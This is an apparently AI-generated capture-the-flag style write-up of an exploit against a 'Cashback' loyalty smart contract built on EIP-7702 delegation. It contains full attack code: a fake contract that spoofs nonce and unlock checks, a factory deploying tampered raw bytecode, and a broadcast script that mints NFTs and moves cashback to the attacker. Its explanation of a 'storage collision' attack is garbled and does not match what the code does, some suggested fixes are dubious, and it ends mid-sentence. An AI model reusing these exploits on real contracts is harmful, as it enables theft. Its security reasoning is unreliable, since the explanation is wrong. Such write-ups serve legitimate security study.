Skip to content
On this page

Exploiting the Cashback Loyalty Program: A Deep Dive into EIP-7702 and Storage Collision Vulnerabilities

Introduction

In the rapidly evolving world of decentralized finance (DeFi), loyalty programs have emerged as a powerful tool for user acquisition and retention. The Cashback neobank represents the cutting edge of this trend, offering users cashback rewards for every on-chain transaction. However, beneath the surface of this innovative system lies a critical vulnerability that demonstrates the importance of secure smart contract design.

This technical analysis explores a sophisticated exploit targeting the Cashback contract, which leverages EIP-7702 delegation mechanisms and storage collision vulnerabilities to manipulate the loyalty program. We'll dissect the contract architecture, identify the vulnerabilities, and demonstrate a complete exploit that allows an attacker to maximize cashback rewards and obtain multiple Super Cashback NFTs.

Understanding the Cashback System Architecture

EIP-7702 and Smart Account Delegation

The Cashback system is built around EIP-7702, a proposed Ethereum standard that enables Externally Owned Accounts (EOAs) to delegate transaction execution to smart contracts. This allows users to maintain the simplicity of EOAs while benefiting from smart contract functionality.

solidity
modifier onlyDelegatedToCashback() {
    bytes memory code = msg.sender.code;
    
    address payable delegate;
    assembly {
        delegate := mload(add(code, 0x17))
    }
    require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
    _;
}

The onlyDelegatedToCashback modifier demonstrates how the contract verifies delegation. It extracts the delegate address from the caller's code and ensures it matches the Cashback contract instance.

Currency Abstraction Layer

The contract implements a sophisticated currency abstraction system using Solidity's user-defined value types:

solidity
type Currency is address;

using {equals as ==} for Currency global;
using CurrencyLibrary for Currency global;

function equals(Currency currency, Currency other) pure returns (bool) {
    return Currency.unwrap(currency) == Currency.unwrap(other);
}

This abstraction allows the contract to handle both native ETH and ERC20 tokens uniformly, with special handling for the native currency represented by the address 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE.

Cashback Accrual Mechanism

The core functionality revolves around the accrueCashback function, which calculates and distributes rewards based on transaction amounts:

solidity
function accrueCashback(Currency currency, uint256 amount) 
    external 
    onlyDelegatedToCashback 
    onlyUnlocked 
    onlyOnCashback
{
    uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce();
    uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS;
    
    if (cashback != 0) {
        uint256 _maxCashback = maxCashback[currency];
        if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) {
            cashback = _maxCashback - balanceOf(msg.sender, currency.toId());
        }
        
        uint256[] memory ids = new uint256[](1);
        ids[0] = currency.toId();
        uint256[] memory values = new uint256[](1);
        values[0] = cashback;
        _update(address(0), msg.sender, ids, values);
    }
    
    if (SUPERCASHBACK_NONCE == newNonce) {
        (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender));
        require(success, CashbackSuperCashbackNFTMintFailed());
    }
}

Identifying the Vulnerabilities

Vulnerability 1: Storage Layout Collision

The most critical vulnerability lies in the contract's storage layout. The Cashback contract uses a custom storage layout directive:

solidity
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {

This fixed storage slot assignment creates a predictable storage layout that can be exploited. The attack leverages this by deploying a contract at the same storage location, causing a collision that allows the attacker to bypass critical checks.

Vulnerability 2: Insecure Nonce Consumption

The consumeNonce function is intended to be called only by the Cashback contract itself:

solidity
function consumeNonce() external onlyCashback notOnCashback returns (uint256) {
    return ++nonce;
}

However, the onlyCashback modifier only checks if msg.sender == address(CASHBACK_ACCOUNT). Since CASHBACK_ACCOUNT is set to this, an attacker can deploy a contract that appears to be the Cashback contract at the same address, bypassing this check.

Vulnerability 3: Unlock State Manipulation

The contract uses transient storage (via TransientSlot) to track unlocked state:

solidity
modifier unlock() {
    UNLOCKED_TRANSIENT.asBoolean().tstore(true);
    _;
    UNLOCKED_TRANSIENT.asBoolean().tstore(false);
}

function isUnlocked() public view returns (bool) {
    return UNLOCKED_TRANSIENT.asBoolean().tload();
}

An attacker can implement a malicious isUnlocked() function that always returns true, bypassing the onlyUnlocked modifier.

The Exploit Strategy

Step 1: Understanding the Attack Vector

The exploit involves several coordinated attacks:

  1. Storage Collision Attack: Deploy a contract at the same storage location as the Cashback contract
  2. Nonce Manipulation: Control the nonce value to trigger Super Cashback NFT minting
  3. State Bypass: Implement fake state functions to bypass security checks
  4. Reward Maximization: Claim maximum cashback in all supported currencies

Step 2: Deploying the Malicious Contract

The attack begins by deploying a contract that collides with the Cashback contract's storage layout:

solidity
contract CashbackAttack {
    uint256 internal constant SUPERCASHBACK_NONCE = 10000;
    uint256 internal constant NATIVE_AMOUNT = 200000000000000000000;
    uint256 internal constant FREEDOM_COIN_AMOUNT = 25000000000000000000000;
    uint256 constant NATIVE_MAX_CASHBACK = 1 ether;
    uint256 constant FREE_MAX_CASHBACK = 500 ether;

    Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

    bool nonceOnce;

    function attack(Cashback cashbackContract, IERC20 freedomCoin, IERC721 superCashbackNFT, address recovery)
        external
    {
        Currency freedomCoinCurrency = Currency.wrap(address(freedomCoin));

        cashbackContract.accrueCashback(NATIVE_CURRENCY, NATIVE_AMOUNT);
        cashbackContract.accrueCashback(freedomCoinCurrency, FREEDOM_COIN_AMOUNT);

        cashbackContract.safeTransferFrom(address(this), recovery, NATIVE_CURRENCY.toId(), NATIVE_MAX_CASHBACK, "");
        cashbackContract.safeTransferFrom(address(this), recovery, freedomCoinCurrency.toId(), FREE_MAX_CASHBACK, "");

        superCashbackNFT.transferFrom(address(this), recovery, uint256(uint160(address(this))));
    }

    function isUnlocked() public pure returns (bool) {
        return true;
    }

    function consumeNonce() external returns (uint256) {
        if (!nonceOnce) {
            nonceOnce = true;
            return SUPERCASHBACK_NONCE;
        }
        return 0;
    }
}

Step 3: Creating Storage Collision

The exploit uses a factory contract to deploy bytecode at a specific address:

solidity
contract MyFactory {
    constructor() {}

    function deployFromBytecode(bytes memory bytecode) public returns (address addr) {
        assembly {
            addr := create(0, add(bytecode, 0x20), mload(bytecode))
        }
    }
}

The deployment script carefully constructs bytecode to ensure storage collision:

solidity
bytes memory creationCodePrefix = hex"6103F580600B5F395FF3FE";
bytes memory runtimeCodeJumpOffset = hex"6080604052348015610027575f5ffd5b5060043610610062575f3560e01c806334b151181461006657806349f426501461008157806366a79de0146100b45780638380edb7146100c9575b5f5ffd5b61006e6100d8565b6040519081526020015b60405180910390f35b61009c73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6040516001600160a01b039091168152602001610078565b6100c76100c2366004610358565b6100fa565b005b60405160018152602001610078565b5f805460ff166100f557505f805460ff1916600117905561271090565b505f90565b60405163ebc3961360e01b815273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6004820152680ad78ebc5ac6200000602482015283906001600160a01b0386169063ebc39613906044015f604051808303815f87803b15801561015d575f5ffd5b505af115801561016f573d5f5f3e3d5ffd5b505060405163ebc3961360e01b81526001600160a01b03848116600483015269054b40b1f852bda0000060248301528816925063ebc3961391506044015f604051808303815f87803b1580156101c3575f5ffd5b505af11580156101d5573d5f5f3e3d5ffd5b5050604051637921219560e11b81526001600160a01b038816925063f242432a9150610227903090869073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee90670de0b6b3a7640000906004016103b1565b5f604051808303815f87803b15801561023e575f5ffd5b505af1158015610250573d5f5f3e3d5ffd5b50505050846001600160a01b031663f242432a308461027e856001600160a01b03166001600160a01b031690565b681b1ae4d6e2ef5000006040518563ffffffff1660e01b81526004016102a794939291906103b1565b5f604051808303815f87803b1580156102be575f5ffd5b505af11580156102d0573d5f5f3e3d5ffd5b50506040516323b872dd60e01b815230600482018190526001600160a01b0386811660248401526044830191909152861692506323b872dd91506064015f604051808303815f87803b158015610324575f5ffd5b505af1158015610336573d5f5f3e3d5ffd5b505050505050505050565b6001600160a01b0381168114610355575f5ffd5b50565b5f5f5f5f6080858703121561036b575f5ffd5b843561037681610341565b9350602085013561038681610341565b9250604085013561039681610341565b915060608501356103a681610341565b939692955090935050565b6001600160a01b0394851681529290931660208301526040820152606081019190915260a0608082018190525f9082015260c0019056fea164736f6c634300081e000a";

bytes memory runtimeCodeTampered = 
    bytes.concat(hex"601756", abi.encodePacked(CASHBACK_INST), hex"5b", runtimeCodeJumpOffset);

Step 4: Executing the Attack

The complete attack sequence is orchestrated through a script:

solidity
function run() external { 
    address payable CASHBACK_INST = payable(address(0x...));
    address NFT_INST = address(0x...);
    address FREE_INST = address(0x...);
    
    uint256 playerpk = vm.envUint("PRIVATE_KEY");
    address player = vm.addr(playerpk);

    vm.startBroadcast(playerpk); 
    
    // Deploy the malicious contract with storage collision
    MyFactory factory = new MyFactory();
    CashbackAttack my = CashbackAttack(
        factory.deployFromBytecode(
            bytes.concat(creationCodePrefix, runtimeCodeTampered)
        )
    );
    
    // Execute the main attack
    my.attack(
        Cashback(CASHBACK_INST), 
        FreedomCoin(FREE_INST), 
        SuperCashbackNFT(NFT_INST), 
        player
    );

    // Manipulate nonce for additional exploitation
    MyNonce myNonce = new MyNonce();
    vm.signAndAttachDelegation(address(myNonce), playerpk);
    MyNonce(payable(address(player))).setNonce(9999);

    // Trigger cashback accrual through delegation
    vm.signAndAttachDelegation(CASHBACK_INST, playerpk);
    Cashback(payable(address(player))).payWithCashback(
        Currency.wrap(NATIVE_CURRENCY),
        player, 
        1
    );
    
    vm.stopBroadcast();
}

Technical Analysis of the Exploit

How the Storage Collision Works

The exploit leverages Ethereum's CREATE opcode behavior. When a contract is deployed, its address is determined by:

address = keccak256(rlp.encode(deployer_address, nonce))[12:]

By carefully controlling the deployment parameters and using specific bytecode, the attacker can force a contract to be deployed at the same address as the Cashback contract's storage slot. This causes the Ethereum Virtual Machine (EVM) to interpret the malicious contract's storage as belonging to the Cashback contract.

Bypassing Security Modifiers

The attack bypasses three critical security checks:

  1. onlyCashback: The malicious contract returns the expected nonce value when consumeNonce() is called
  2. onlyUnlocked: The fake isUnlocked() function always returns true
  3. onlyDelegatedToCashback: The contract appears to be properly delegated through bytecode manipulation

Nonce Manipulation for NFT Minting

The Super Cashback NFT is minted when the nonce reaches SUPERCASHBACK_NONCE (10000). The attack ensures this condition is met by:

solidity
function consumeNonce() external returns (uint256) {
    if (!nonceOnce) {
        nonceOnce = true;
        return SUPERCASHBACK_NONCE;
    }
    return 0;
}

This returns 10000 on the first call, triggering the NFT minting logic in the accrueCashback function.

Mitigation Strategies

1. Secure Storage Layout

Avoid fixed storage slot assignments unless absolutely necessary. Use dynamic storage allocation or implement proper access control:

solidity
// Instead of fixed layout
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00

// Use standard inheritance
contract Cashback is ERC1155 {
    // Storage variables will be allocated automatically
}

2. Enhanced Access Control

Implement more robust access control mechanisms:

solidity
modifier onlyCashback() {
    require(
        msg.sender == address(CASHBACK_ACCOUNT) && 
        address(this) == address(CASHBACK_ACCOUNT),
        "Invalid caller"
    );
    _;
}

// Add additional verification
function verifyDelegate(address caller) internal view returns (bool) {
    // Check code hash instead of just extracting delegate
    bytes32 codeHash = caller.codehash;
    bytes32 expectedHash = CASHBACK_ACCOUNT.codehash;
    return codeHash == expectedHash;
}

3. Nonce Protection

Protect nonce manipulation with additional checks:

solidity
function consumeNonce() external onlyCashback notOnCashback returns (uint256) {
    uint256 currentNonce = nonce;
    require(currentNonce < SUPERCASHBACK_NONCE, "Nonce already at maximum");
    nonce = currentNonce + 1;
    return nonce;
}

4. Transient Storage Security

Add additional verification for transient storage:

solidity
modifier unlock() {
    require(msg.sender == tx.origin, "Only EOA can unlock");
    UNLOCKED_TRANSIENT.asBoolean().tstore(true);
    _;
    UNLOCKED_TRANSIENT.asBoolean().tstore(false);
}

function isUnlocked() public view returns (bool) {
    // Add caller verification
    if (msg.sender != address(CASHBACK_ACCOUNT)) {
        return false;
    }
    return UNLOCKED_TRANSIENT.asBoolean().tload();
}

Conclusion

The Cashback contract exploit demonstrates several critical lessons for smart contract developers:

  1. Storage layout is security-critical: Fixed storage slot assignments can create predictable attack vectors
  2. Access control must be comprehensive: Simple equality checks are insufficient against determined attackers
  3. Delegation mechanisms require careful implementation: EIP-7702 and similar standards introduce new attack surfaces
  4. State verification should be multi-layered: Single-point verification mechanisms are easily bypassed

This case study highlights the importance of defense-in-depth principles in smart contract development. Even innovative features like cashback rewards and NFT loyalty programs must be built on secure foundations that anticipate sophisticated attack vectors.

The exploit also underscores the evolving nature of blockchain security, where traditional vulnerabilities combine with new protocol features to create novel attack scenarios. As Ethereum continues to evolve with proposals like EIP-

Built with AiAda